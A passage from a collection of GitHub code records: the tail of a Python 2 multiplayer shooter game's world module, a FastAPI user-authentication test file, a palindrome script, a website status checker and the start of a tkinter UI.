Frakinstein'))\n\t\tself.entities.append(self.target)\n\n\t\tnames = []\n\t\tlist_of_possible_c = ['red', 'blue', 'green', 'yellow', 'purple', 'orange', 'pink', 'grey']\n\t\tlist_of_possible_c.append(random.choice(['red', 'blue', 'green', 'yellow', 'purple', 'orange', 'pink', 'grey']))\n\t\tcolors = random.sample(list_of_possible_c, self.numofbots)\n\n\t\tbotnames_copy = BOTNAMES[:]\n\t\tif self.target.name in botnames_copy:\n\t\t\tbotnames_copy.remove(self.target.name)\n\n\t\tnms = random.sample(botnames_copy, self.numofbots)\n\t\tids = random.sample(range(1, 301), self.numofbots)\n\t\tfor i in xrange(self.numofbots):\n\t\t\tif random.randint(0, 1):\n\t\t\t\tnames.append(nms[i]+str(ids[i]))\n\t\t\telse:\n\t\t\t\tnames.append(nms[i])\n\n\t\tfor i in xrange(self.numofbots):\n\t\t\ts = random.choice(self.spawns)\n\t\t\tactor = Bot('human', colors[i], s[0], s[1], names[i], 0, 0)\n\t\t\tself.entities.append(actor)\n\n\t\tif self.gametype == 'BioWarfare':\n\t\t\te = random.choice(self.entities)\n\t\t\tif e.type == 'bot':\n\t\t\t\ts = random.choice(self.hydrax_spawns)\n\t\t\t\thydrax = Bot('hydrax', 'monster', s[0], s[1], e.name, 0, 0)\n\t\t\telse:\n\t\t\t\ts = random.choice(self.hydrax_spawns)\n\t\t\t\thydrax = Actor('hydrax', 'monster', s[0], s[1], name=self.profile.name)\n\t\t\t\tself.target = hydrax\n\t\t\tself.entities[self.entities.index(e)] = hydrax\n\n\t\tif self.gametype == 'Oddman':\n\t\t\tself.oddman = random.choice(self.entities)\n\t\t\tself.messages.append(['{0} is the Oddman!'.format(self.oddman.name), time.time()])\n\n\t\tif self.gametype in ['Red v Blue', 'Generator']:\n\t\t\trandom.shuffle(self.entities)\n\t\t\trob = random.randint(0, 1)\n\t\t\tfor e in self.entities:\n\t\t\t\trob += 1\n\t\t\t\tif rob > 1:\n\t\t\t\t\trob = 0\n\t\t\t\tcolor = ['red', 'blue'][rob]\n\n\t\t\t\tif color == 'red':\n\t\t\t\t\tpos = random.choice(self.red_spawns)\n\t\t\t\tif color == 'blue':\n\t\t\t\t\tpos = random.choice(self.blue_spawns)\n\n\t\t\t\tif e.type == 'bot':\n\t\t\t\t\ttemp = Bot('human', color, pos[0], pos[1], e.name, 0, 0)\n\t\t\t\t\tself.entities[self.entities.index(e)] = temp\n\t\t\t\telse:\n\t\t\t\t\tself.target = Actor('human', color, pos[0], pos[1], name=self.profile.name)\n\t\t\t\t\tself.entities[self.entities.index(e)] = self.target\n\n\t\tself.hud = HUD(self.target)\n\t\tJuke.play(self.gametype, music=True)\n\n\tdef update(self):\n\t\tself.scrollWorld()\n\n\t\tself.elapsed = int(time.time()-self.start)\n\t\tself.remaining = self.timelimit-self.elapsed\n\n\t\tif self.gametype == 'BioWarfare':\n\t\t\ttakenover = all(e.race == 'hydrax' for e in self.entities)\n\t\t\tif takenover and len(self.entities) > 1:\n\t\t\t\tself.remaining = 0\n\n\t\tfor i in self.messages:\n\t\t\tif time.time()-i[1] > 5:\n\t\t\t\tself.messages.remove(i)\n\n\t\tif len(self.messages) > 5:\n\t\t\tself.messages.remove(self.messages[0])\n\n\t\tfor g in self.generators:\n\t\t\tif g.alive:\n\t\t\t\tg.update(self.tiles)\n\t\t\telse:\n\t\t\t\tif not g.respawning:\n\t\t\t\t\tfor i in Death(g, s=50).gore:\n\t\t\t\t\t\tself.particles.append(i)\n\n\t\t\t\t\tfor i in xrange(10):\n\t\t\t\t\t\tself.particles.append(Explosion(g.vector, 'explode'))\n\t\t\t\t\tJuke.play('boom', 0.4*stereo_pos(self.target.vector, g.vector))\n\n\t\t\t\t\tfor e in self.entities:\n\t\t\t\t\t\tif e.name == g.attacker:\n\t\t\t\t\t\t\tif e.color == g.color:\n\t\t\t\t\t\t\t\te.score -= 1\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\te.score += 1\n\n\t\t\t\t\tg.death_time = time.time()\n\t\t\t\t\tg.respawning = True\n\t\t\t\telse:\n\t\t\t\t\tg.current_respawn = int(time.time()-g.death_time)\n\n\t\t\t\t\tif g.current_respawn >= g.respawn_time:\n\t\t\t\t\t\tself.generators.append(Generator(g.vector.x, g.vector.y, g.race, g.color))\n\t\t\t\t\t\tself.generators.remove(g)\n\n\t\tfor g in self.grenades:\n\t\t\tif g.alive:\n\t\t\t\tg.update(self.tiles)\n\t\t\telse:\n\t\t\t\tfor i in xrange(5):\n\t\t\t\t self.particles.append(Explosion(g.vector, 'grenade'))\n\t\t\t\tg.hurtActors(self.entities+self.generators, self)\n\t\t\t\tJuke.play('nades', 0.4*stereo_pos(self.target.vector, g.vector))\n\t\t\t\tself.grenades.remove(g)\n\n\t\tfor e in self.entities:\n\t\t\tif e.alive:\n\t\t\t\tfor e2 in self.entities:\n\t\t\t\t\tif e == e2: continue\n\t\t\t\t\tif self.gametype == 'BioWarfare':\n\t\t\t\t\t\tif e.race == e2.race: continue\n\t\t\t\t\tif collideAABB(e, e2):\n\t\t\t\t\t\te.onCollide(e2)\n\n\t\t\t\tfor g in self.generators:\n\t\t\t\t\tif e.color == g.color: continue\n\t\t\t\t\tif collideAABB(e, g):\n\t\t\t\t\t\te.onCollide(g)\n\n\t\t\t\tif e.vector.x > self.width or e.vector.x < 0 or e.vector.y > self.height or e.vector.y < 0:\n\t\t\t\t\te.getHurt(e.full, e.name)\n\n\t\t\t\tif e.race == 'hydrax':\n\t\t\t\t\tif random.randint(0, 150) == 0:\n\t\t\t\t\t\tJuke.play('hydrax'+str(random.randint(1, 2)))\n\n\t\t\t\tif e.type == 'bot':\n\t\t\t\t\te.random_move()\n\t\t\t\t\te.brain.think(self, teams=(self.gametype in ['Red v Blue', 'Generator']), bio=(self.gametype == 'BioWarfare'))\n\n\t\t\t\tif e.race == 'hydrax':\n\t\t\t\t\tif random.randint(0, 150) == 0:\n\t\t\t\t\t\tJuke.play('hydrax'+str(random.randint(1, 2)))\n\n\t\t\t\t# Shooting and throwing grenades\t\t\t\t\t\n\t\t\t\tif e.shooting and not e.invunerable:\n\t\t\t\t\tif e.weapon != None:\n\t\t\t\t\t\tif e.weapon.type == 'gun':\n\t\t\t\t\t\t\tif e.weapon.readyToFire and int(e.weapon.ammo) > 0:\n\t\t\t\t\t\t\t\tJuke.play(e.weapon.img, 0.4*stereo_pos(self.target.vector, e.vector))\n\t\t\t\t\t\te.shoot(self.bullets, self.particles)\n\n\t\t\t\tif e.grenading:\n\t\t\t\t\te.throw_grenade(self.grenades)\n\n\t\t\t\tif e.hurt:\n\t\t\t\t\tfor i in xrange(3):\n\t\t\t\t\t\tself.particles.append(Blood(e.vector, e.vel, e.blood))\n\n\t\t\t\tif e.invunerable:\n\t\t\t\t\tif time.time()-e.inv_time > e.max_invunerable:\n\t\t\t\t\t\te.invunerable = False\n\n\t\t\t\te.update()\n\t\t\t\te.move(self.tiles)\n\t\t\telse:\n\t\t\t\tif not e.respawning:\n\t\t\t\t\t# Gory and explosive death\n\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\tself.particles.append(Blood(e.vector, e.vel, e.blood))\n\t\t\t\t\tfor i in Death(e).gore:\n\t\t\t\t\t\tself.particles.append(i)\n\n\t\t\t\t\te.dropItem(self.items)\n\n\t\t\t\t\tif e.attacker != e.name:\n\t\t\t\t\t\tkillmsg = '{0} was killed by {1}.'.format(e.name, e.attacker)\n\t\t\t\t\t\tfor e2 in self.entities:\n\t\t\t\t\t\t\tif e == e2: continue\n\t\t\t\t\t\t\tif e2.name == e.attacker:\n\t\t\t\t\t\t\t\tif self.gametype == 'Oddman':\n\t\t\t\t\t\t\t\t\tif e == self.oddman:\n\t\t\t\t\t\t\t\t\t\te2.score += 1\n\t\t\t\t\t\t\t\t\t\tself.messages.append(['{0} is the new Oddman!'.format(e2.name), time.time()])\n\t\t\t\t\t\t\t\t\t\tself.oddman = e2\n\t\t\t\t\t\t\t\t\tif e2 == self.oddman:\n\t\t\t\t\t\t\t\t\t\te2.score += 1\n\t\t\t\t\t\t\t\t\te2.new_streak()\n\n\t\t\t\t\t\t\t\tif self.gametype == 'Red v Blue':\n\t\t\t\t\t\t\t\t\tif e.color == e2.color:\n\t\t\t\t\t\t\t\t\t\te2.score -= 1\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\te2.score += 1\n\t\t\t\t\t\t\t\t\t\te2.new_streak()\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif self.gametype == 'Fireplay':\n\t\t\t\t\t\t\t\t\te2.score += 1\n\t\t\t\t\t\t\t\t\te2.new_streak()\n\n\t\t\t\t\t\t\t\tif self.gametype == 'BioWarfare':\n\t\t\t\t\t\t\t\t\tif e.race == e2.race:\n\t\t\t\t\t\t\t\t\t\te2.score -= 1\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\te2.score += 1\n\t\t\t\t\t\t\t\t\t\te2.new_streak()\n\t\t\n\t\t\t\t\t\t\tif self.target.streak == 2:\n\t\t\t\t\t\t\t\tJuke.play('doublekill', 1.0, False, False)\n\t\t\t\t\t\t\telif self.target.streak == 3:\n\t\t\t\t\t\t\t\tJuke.play('triplekill', 1.0, False, False)\n\t\t\t\t\t\t\telif self.target.streak == 4:\n\t\t\t\t\t\t\t\tJuke.play('overkill', 1.0, False, False)\n\n\t\t\t\t\t\t\tif e2.spree == 10:\n\t\t\t\t\t\t\t\tself.messages.append(['{0} is on a killing spree!'.format(e2.name), time.time()])\n\t\t\t\t\t\t\t\tif e2 == self.target:\n\t\t\t\t\t\t\t\t\tJuke.play('killingspree', 1.0, False, True)\n\t\t\t\t\telse:\n\t\t\t\t\t\tkillmsg = '{0} committed suicide.'.format(e.name)\n\t\t\t\t\t\tif self.gametype != 'Generator':\n\t\t\t\t\t\t\te.score -= 1\n\t\t\t\t\t\tif e == self.target:\n\t\t\t\t\t\t\tJuke.play('suicide', 1.0, False, True)\n\t\t\t\t\tself.messages.append([killmsg, time.time()])\n\n\t\t\t\t\te.deaths += 1\n\t\t\t\t\te.death_time = time.time()\n\t\t\t\t\te.respawning = True\n\t\t\t\telse:\n\t\t\t\t\te.current_respawn = int(time.time()-e.death_time)\n\t\t\t\t\tif e.current_respawn >= e.respawn_time:\n\t\t\t\t\t\tif self.gametype in ['Red v Blue', 'Generator']:\n\t\t\t\t\t\t\tif e.color == 'red':\n\t\t\t\t\t\t\t\tspawn = random.choice(self.red_spawns)\n\t\t\t\t\t\t\tif e.color == 'blue':\n\t\t\t\t\t\t\t\tspawn = random.choice(self.blue_spawns)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tspawn = random.choice(self.spawns)\n\n\t\t\t\t\t\tif self.gametype == 'BioWarfare':\n\t\t\t\t\t\t\tif e.race == 'human':\n\t\t\t\t\t\t\t\tself.messages.append(['{0} has been infected!'.format(e.name), time.time()])\n\t\t\t\t\t\t\trace = 'hydrax'\n\t\t\t\t\t\t\tcolor = 'monster'\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\trace = e.race\n\t\t\t\t\t\t\tcolor = e.color\n\n\t\t\t\t\t\tif e.type == 'bot':\n\t\t\t\t\t\t\ttemp = Bot(race, color, spawn[0], spawn[1], e.name, e.score, e.deaths)\n\t\t\t\t\t\t\tif self.oddman == e and self.gametype == 'Oddman':\n\t\t\t\t\t\t\t\tself.oddman = temp\n\n\t\t\t\t\t\t\ttemp.invunerable = True\n\t\t\t\t\t\t\ttemp.inv_time = time.time()\n\n\t\t\t\t\t\t\tself.entities.append(temp)\n\t\t\t\t\t\t\tself.entities.remove(e)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.target = Actor(race, color, spawn[0], spawn[1], name=e.name, score=e.score, deaths=e.deaths)\n\t\t\t\t\t\t\tif self.oddman == e and self.gametype == 'Oddman':\n\t\t\t\t\t\t\t\tself.oddman = self.target\n\n\t\t\t\t\t\t\tself.target.invunerable = True\n\t\t\t\t\t\t\tself.target.inv_time = time.time()\n\n\t\t\t\t\t\t\tself.entities.append(self.target)\n\t\t\t\t\t\t\tself.hud = HUD(self.target)\n\t\t\t\t\t\t\tself.entities.remove(e)\n\n\t\tfor i in self.items:\n\t\t\tif i.alive:\n\t\t\t\ti.update(self.tiles)\n\t\t\t\tfor e in self.entities:\n\t\t\t\t\tif e.alive:\n\t\t\t\t\t\te.collect_item(i)\n\t\t\telse:\n\t\t\t\tself.items.remove(i)\n\n\t\tfor i in self.weps:\n\t\t\tif i.alive:\n\t\t\t\ti.update(self.tiles)\n\t\t\t\tfor e in self.entities:\n\t\t\t\t\tif e.alive:\n\t\t\t\t\t\te.new_weapon(i)\n\t\t\telse:\n\t\t\t\tif not i.respawning:\n\t\t\t\t\ti.death_time = time.time()\n\t\t\t\t\ti.respawning = True\n\t\t\t\telse:\n\t\t\t\t\ti.current_respawn = int(time.time()-i.death_time)\n\t\t\t\t\tif i.current_respawn >= i.respawn_time:\n\t\t\t\t\t\tnew_item = WeaponDrop(i.img, i.vector.x, i.vector.y, i.icon, type=i.type)\n\t\t\t\t\t\tself.weps.append(new_item)\n\t\t\t\t\t\tself.weps.remove(i)\n\t\t\t\t\t\t\n\t\tfor l in self.bullets:\n\t\t\tif l.alive:\n\t\t\t\tl.update(self.tiles)\n\t\t\t\tl.collide(self.entities+self.generators, teams=(self.gametype in ['Red v Blue', 'Generator']), bio=(self.gametype == 'BioWarfare'))\n\t\t\telse:\n\t\t\t\tself.particles.append(BulletDisp(l.name, l.angle, l.facing, l.vector.x, l.vector.y))\n\t\t\t\tif l.name == 'rocket':\n\t\t\t\t\tl.explode(self.entities+self.generators, self)\n\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\tself.particles.append(Explosion(l.vector, 'explode'))\n\t\t\t\t\tJuke.play('boom', 0.4*stereo_pos(self.target.vector, l.vector))\n\t\t\t\tif l.name == 'rod':\n\t\t\t\t\tl.explode(self.entities+self.generators, self)\n\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\tself.particles.append(Explosion(l.vector, 'fusion'))\n\t\t\t\t\tJuke.play('rod', 0.4*stereo_pos(self.target.vector, l.vector))\n\t\t\t\tself.bullets.remove(l)\n\n\t\tfor p in self.particles:\n\t\t\tif p.alive:\n\t\t\t\tif p.type == 'explosion':\n\t\t\t\t\tself.shake()\n\t\t\t\tp.update(self.tiles, self.particles)\n\t\t\telse:\n\t\t\t\tself.particles.remove(p)\n\n\t\tif self.target.aiming:\n\t\t\td = (self.engine.mouse.vector-self.target.vector).magnitude()\n\t\t\tself.target.throw_power = min(20, d/20)\n\n\tdef special_rendering(self):\n\t\tfor e in self.entities:\n\t\t\tif onScreenOffset(e, self.offset) and e.alive:\n\t\t\t\tn = text(self.engine.fonts['small'], e.name, B_COLORS['YELLOW'])\n\t\t\t\tif collideAABB(self.engine.mouse, e) and e != self.target:\n\t\t\t\t\tblit(self.field, n, (e.vector.x, e.vector.y-70))\n\t\t\t\tif e == self.target:\n\t\t\t\t\tblit(self.field, n, (e.vector.x, e.vector.y-70))\n\n\t\tfor g in self.generators:\n\t\t\tif self.target.alive and g.respawning:\n\t\t\t\tself.show_time = True\n\t\t\t\tt = text(self.engine.fonts['medium'], '{0} generator respawning in {1}...'.format(g.color.title(), g.respawn_time-g.current_respawn), B_COLORS['YELLOW'])\n\t\t\t\tblit(self.engine.display, t, (SCREEN_W/2, SCREEN_H/2))\n\n\t\tif self.oddman != None and self.oddman.alive:\n\t\t\tblit(self.field, self.oddframe, self.oddman.vector)\n\n\t\tif self.target.respawning:\n\t\t\tif self.target.current_respawn <= self.target.respawn_time:\n\t\t\t\trespawn_time = self.target.respawn_time-self.target.current_respawn\n\t\t\t\tself.show_time = True\n\t\t\t\tt = text(self.engine.fonts['medium'], 'Respawning in {0}...'.format(respawn_time), B_COLORS['YELLOW'])\n\t\t\t\tblit(self.engine.display, t, (SCREEN_W/2, SCREEN_H/2))\n\n\t\tfor y in xrange(len(self.messages)):\n\t\t\tt = text(self.engine.fonts['small'], self.messages[y][0], B_COLORS['WHITE'])\n\t\t\tblit(self.engine.display, t, (10, SCREEN_H-SCREEN_H/4-y*30), center=False)\n\n\t\tif self.show_time:\n\t\t\tt = text(self.engine.fonts['medium'], self.formatTime(self.remaining), B_COLORS['YELLOW'])\n\t\t\tblit(self.engine.display, t, (SCREEN_W/2, SCREEN_H/15))\n\n\tdef formatTime(self, s):\n\t\tminutes = s/60\n\t\tseconds = s%60\n\t\tif seconds < 10:\n\t\t\treturn '{0}:0{1}'.format(minutes, seconds)\n\t\telse:\n\t\t\treturn '{0}:{1}'.format(minutes, seconds)\n\n\nclass MultiplayerWorld(object):\n\tdef __init__(self, name):\n\t\tself.name = name\n\t\tself.file = open('data/maps/multiplayer/'+name.lower()+'.map', 'r+')\n\t\tself.properties = open('data/maps/multiplayer/'+name.lower()+'.prop', 'r+')\n\t\tself.lines = self.file.readlines()\n\t\tfor i in self.lines:\n\t\t\tself.mw = len(i)\n\t\tself.mh = len(self.lines)\n\n\t\tself.tiles = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.fg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.bg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.bullets = []\n\t\tself.grenades = []\n\t\tself.items = []\n\t\tself.weps = []\n\t\tself.particles = []\n\t\tself.generators = []\n\t\tself.liquids = []\n\n\t\tself.spawns = []\n\t\tself.red_spawns = []\n\t\tself.blue_spawns = []\n\t\tself.hydrax_spawns = []\n\t\tself.genspawn_red = Vector(0, 0)\n\t\tself.genspawn_blue = Vector(0, 0)\n\n\t\tself.plines = self.properties.readlines()\n\t\tself.desc = self.plines[2].split('=')[1].strip('\\n')\n\t\tself.bg_color = Color([int(i) for i in self.plines[0].strip('color[]\\n').split(',')])\n\t\tself.bg_theme = self.plines[1].split('=')[1].strip('\\n')\n\n\t\tself.width = self.mw*TILESIZE\n\t\tself.height = self.mh*TILESIZE\n\t\tself.field = surface(self.width, self.height)\n\t\tself.generate()\n\n\tdef getAdjacent(self, x, y):\n\t\tadj = {}\n\t\tif x-1 >= 0:\n\t\t\tadj['l'] = self.lines[y][x-1]\n\t\telse:\n\t\t\tadj['l'] = ' '\n\n\t\tif x+1 <= self.mw-1:\n\t\t\tadj['r'] = self.lines[y][x+1]\n\t\telse:\n\t\t\tadj['r'] = ' '\n\n\t\tif y-1 >= 0:\n\t\t\tadj['u'] = self.lines[y-1][x]\n\t\telse:\n\t\t\tadj['u'] = ' '\n\n\t\tif y+1 <= self.mh-1:\n\t\t\tadj['d'] = self.lines[y+1][x]\n\t\telse:\n\t\t\tadj['d'] = ' '\n\n\t\treturn adj\n\n\tdef calcTileNum(self, x, y):\n\t\tadj = self.getAdjacent(x, y)\n\t\ttile = self.lines[y][x]\n\t\tid = 0\n\n\t\t# Side tiles\n\t\tif adj['l'] == tile or adj['r'] == tile: # Horizontal\n\t\t\tif adj['u'] != tile and adj['d'] == tile:\n\t\t\t\tid = 0 # Horizontal on top\n\t\t\telif adj['d'] != tile and adj['u'] == tile:\n\t\t\t\tid = 1 # Horizontal on bottom\n\t\t\telif adj['u'] != tile and adj['d'] != tile:\n\t\t\t\tid = 2\n\t\tif adj['u'] == tile or adj['d'] == tile: # Vertical\n\t\t\tif adj['l'] != tile and adj['r'] == tile:\n\t\t\t\tid = 3 # Vertical on the left\n\t\t\telif adj['r'] != tile and adj['l'] == tile:\n\t\t\t\tid = 4 # Vertical on the right\n\t\t\telif adj['l'] != tile and adj['r'] != tile:\n\t\t\t\tid = 5\n\n\t\t# Corner tiles\n\t\tif adj['r'] == tile and adj['d'] == tile and adj['u'] != tile and adj['l'] != tile:\n\t\t\tid = 6 # Top left\n\t\tif adj['l'] == tile and adj['d'] == tile and adj['r'] != tile and adj['u'] != tile:\n\t\t\tid = 7 # Top right\n\t\tif adj['r'] == tile and adj['u'] == tile and adj['l'] != tile and adj['d'] != tile:\n\t\t\tid = 8 # Bottom left\n\t\tif adj['l'] == tile and adj['u'] == tile and adj['r'] != tile and adj['d'] != tile:\n\t\t\tid = 9 # Bottom right\n\n\t\t# Edge tiles\n\t\tif adj['u'] != tile and adj['d'] != tile:\n\t\t\tif adj['l'] != tile and adj['r'] == tile:\n\t\t\t\tid = 10 # Left edge\n\t\t\tif adj['r'] != tile and adj['l'] == tile:\n\t\t\t\tid = 11 # Right edge\n\t\tif adj['l'] != tile and adj['r'] != tile:\n\t\t\tif adj['u'] != tile and adj['d'] == tile:\n\t\t\t\tid = 12 # Top edge\n\t\t\tif adj['d'] != tile and adj['u'] == tile:\n\t\t\t\tid = 13 # Bottom edge\n\n\t\tif adj['l'] == adj['r'] == adj['u'] == adj['d'] == tile:\n\t\t\tid = 14 # Mid Tiles\n\n\t\treturn id\n\n\tdef generate(self):\n\t\tfor x in xrange(self.mw):\n\t\t\tfor y in xrange(self.mh):\n\t\t\t\tif self.lines[y][x] in TILEDICT:\n\t\t\t\t\tt_id = self.calcTileNum(x, y)\n\t\t\t\t\tif TILEDICT[self.lines[y][x]][0] == 'grav':\n\t\t\t\t\t\tself.tiles[y][x] = GravCannon(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'slope':\n\t\t\t\t\t\tself.tiles[y][x] = Slope(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'util':\n\t\t\t\t\t\tself.tiles[y][x] = Util(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'spike':\n\t\t\t\t\t\tself.tiles[y][x] = Spike(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'break':\n\t\t\t\t\t\tself.tiles[y][x] = Breakable(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'door':\n\t\t\t\t\t\tself.tiles[y][x] = Door(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'bg':\n\t\t\t\t\t\tself.bg[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'fg':\n\t\t\t\t\t\tself.fg[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.tiles[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\n\t\t\t\tif self.lines[y][x] == 'R':\n\t\t\t\t\tself.spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\t\tself.red_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\tif self.lines[y][x] == 'B':\n\t\t\t\t\tself.spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\t\tself.blue_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\tif self.lines[y][x] == 'Q':\n\t\t\t\t\tself.genspawn_red = (x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2)\n\t\t\t\tif self.lines[y][x] == 'W':\n\t\t\t\t\tself.genspawn_blue = (x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2)\n\t\t\t\tif self.lines[y][x] == 'H':\n\t\t\t\t\tself.hydrax_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\n\t\t\t\tif self.lines[y][x] in WEAPON_DROPS.keys():\n\t\t\t\t\tpar = WEAPON_DROPS[self.lines[y][x]]\n\t\t\t\t\tif par[1] == 'gun' or par[1] == 'blade':\n\t\t\t\t\t\tself.weps.append(WeaponDrop(par[0], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, par[0], type=par[1]))\n\t\t\t\t\telif par[1] == 'item':\n\t\t\t\t\t\titem = Item(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, par[0])\n\t\t\t\t\t\titem.life = 1000000\n\t\t\t\t\t\tself.items.append(item)","repo_name":"SirBob01/Centurion-Human-Evolution","sub_path":"data/sys/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":56334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"3046333921","text":"from unittest.mock import MagicMock, patch\n\nfrom jose import jwt\n\nfrom config import settings\nfrom src.database.models import User\n\n\ndef test_create_user(client, user, monkeypatch):\n mock_send_email = MagicMock()\n monkeypatch.setattr(\"src.routes.user.send_in_background\", mock_send_email)\n response = client.post(\n \"/user/auth/signup\",\n json=user,\n )\n assert response.status_code == 201\n data = response.json()\n assert data.get(\"id\") == 1\n assert data.get('confirmed') is None\n assert data.get(\"email\") == user.get(\"email\")\n\n\ndef test_repeat_create_user(client, user, monkeypatch):\n mock_send_email = MagicMock()\n monkeypatch.setattr(\"src.routes.user.send_in_background\", mock_send_email)\n response = client.post(\n \"/user/auth/signup\",\n json=user,\n )\n assert response.status_code == 409, response.text\n data = response.json()\n assert data[\"detail\"] == \"User exists already\"\n\n\ndef test_email_confirmation(client, user, session):\n current_token = jwt.encode({'email': user.get('email')}, settings.secret_email_key, settings.algorithm)\n response = client.get(f'/user/email-confirmation/{current_token}')\n data = response.json()\n assert response.status_code == 200\n assert data == {'activation': 'you email is confirmed'}\n\n\ndef test_login_user(client, user, session):\n response = client.post(\n \"user/auth/login\",\n json={'email': user.get('email'), 'password': user.get(\"password\")}\n )\n data = response.json()\n assert response.status_code == 200\n assert data.get(\"email\") == user.get(\"email\")\n\n\ndef test_all_users(client, session):\n response = client.get(\n \"user/all\"\n )\n data = response.json()\n assert response.status_code == 200\n assert isinstance(data, list)\n assert data is not None\n\n\ndef test_me(client, session, user, monkeypatch):\n mock_redis = MagicMock()\n mock_redis.get.return_value = None\n monkeypatch.setattr('src.services.user.r', mock_redis)\n access_token = jwt.encode({'email': user.get('email')}, settings.secret_access_key, settings.algorithm)\n access_token = 'bearer ' + access_token\n response = client.get(\n '/user/me',\n headers={'Authorization': access_token}\n )\n assert response.status_code == 200\n data = response.json()\n\n # from function get_current_user response model is UserRespond which contain id, email, and avatar fields\n assert data.get('email') == 'webba1065@gmail.com'\n assert data.get('id') == 1\n assert data.get('avatar').startswith('https://www.gravatar.com')\n\n\ndef test_refresh_token(client, session, user):\n current_user = session.query(User).filter_by(email=user.get('email')).first()\n token = current_user.refresh_token\n refresh_token = 'bearer ' + token\n response = client.get(\n '/user/auth/refresh_token',\n headers={'Authorization': refresh_token}\n )\n data = response.json()\n payload_refresh = jwt.decode(data.get('refresh_token'), settings.secret_refresh_key, [settings.algorithm])\n payload_access = jwt.decode(data.get('access_token'), settings.secret_access_key, [settings.algorithm])\n assert response.status_code == 200\n assert data.get('refresh token') != token\n assert payload_refresh.get('email') == user.get('email')\n assert payload_access.get('email') == user.get('email')\n assert data.get('token_type') == 'bearer'\n\n\ndef test_test_update_avatar_user(client, session, user, monkeypatch):\n ...\n","repo_name":"anatoliysafonov/PythonWEB","sub_path":"hw12/tests/test_user_route.py","file_name":"test_user_route.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19822532370","text":"def isPalindrome(x) -> bool:\n if x < 0:\n return \"abc\"\n else:\n a = list(str(x))\n a.reverse()\n b = \"\".join(a)\n e = int(b)\n if x == e:\n return \"xyz\"\n else:\n return e\na = isPalindrome(int(input(\"enter:\")))\nprint(a)\n\n ","repo_name":"filius-fall/leetcode","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73327265965","text":"import csv\n\nimport requests\n\n\nstatus_dict = {\"Website\": \"Status\"}\n\n\ndef main():\n with open(\"websites.txt\", \"r\") as fr:\n for line in fr:\n website = line.strip()\n status = requests.get(website).status_code\n status_dict[website] = \"working\" if status == 200 \\\n else \"not working\"\n\n # print(status_dict)\n with open(\"website_status.csv\", \"w\", newline=\"\") as fw:\n csv_writers = csv.writer(fw)\n for key in status_dict.keys():\n csv_writers.writerow([key, status_dict[key]])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Python-World/python-mini-projects","sub_path":"projects/Check_website_connectivity/check_connectivity.py","file_name":"check_connectivity.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":13393,"dataset":"github-code","pt":"2"} +{"seq_id":"70387000688","text":"import tkinter as tk \nimport core\n\n\n\nclass MyUI:\n\n def 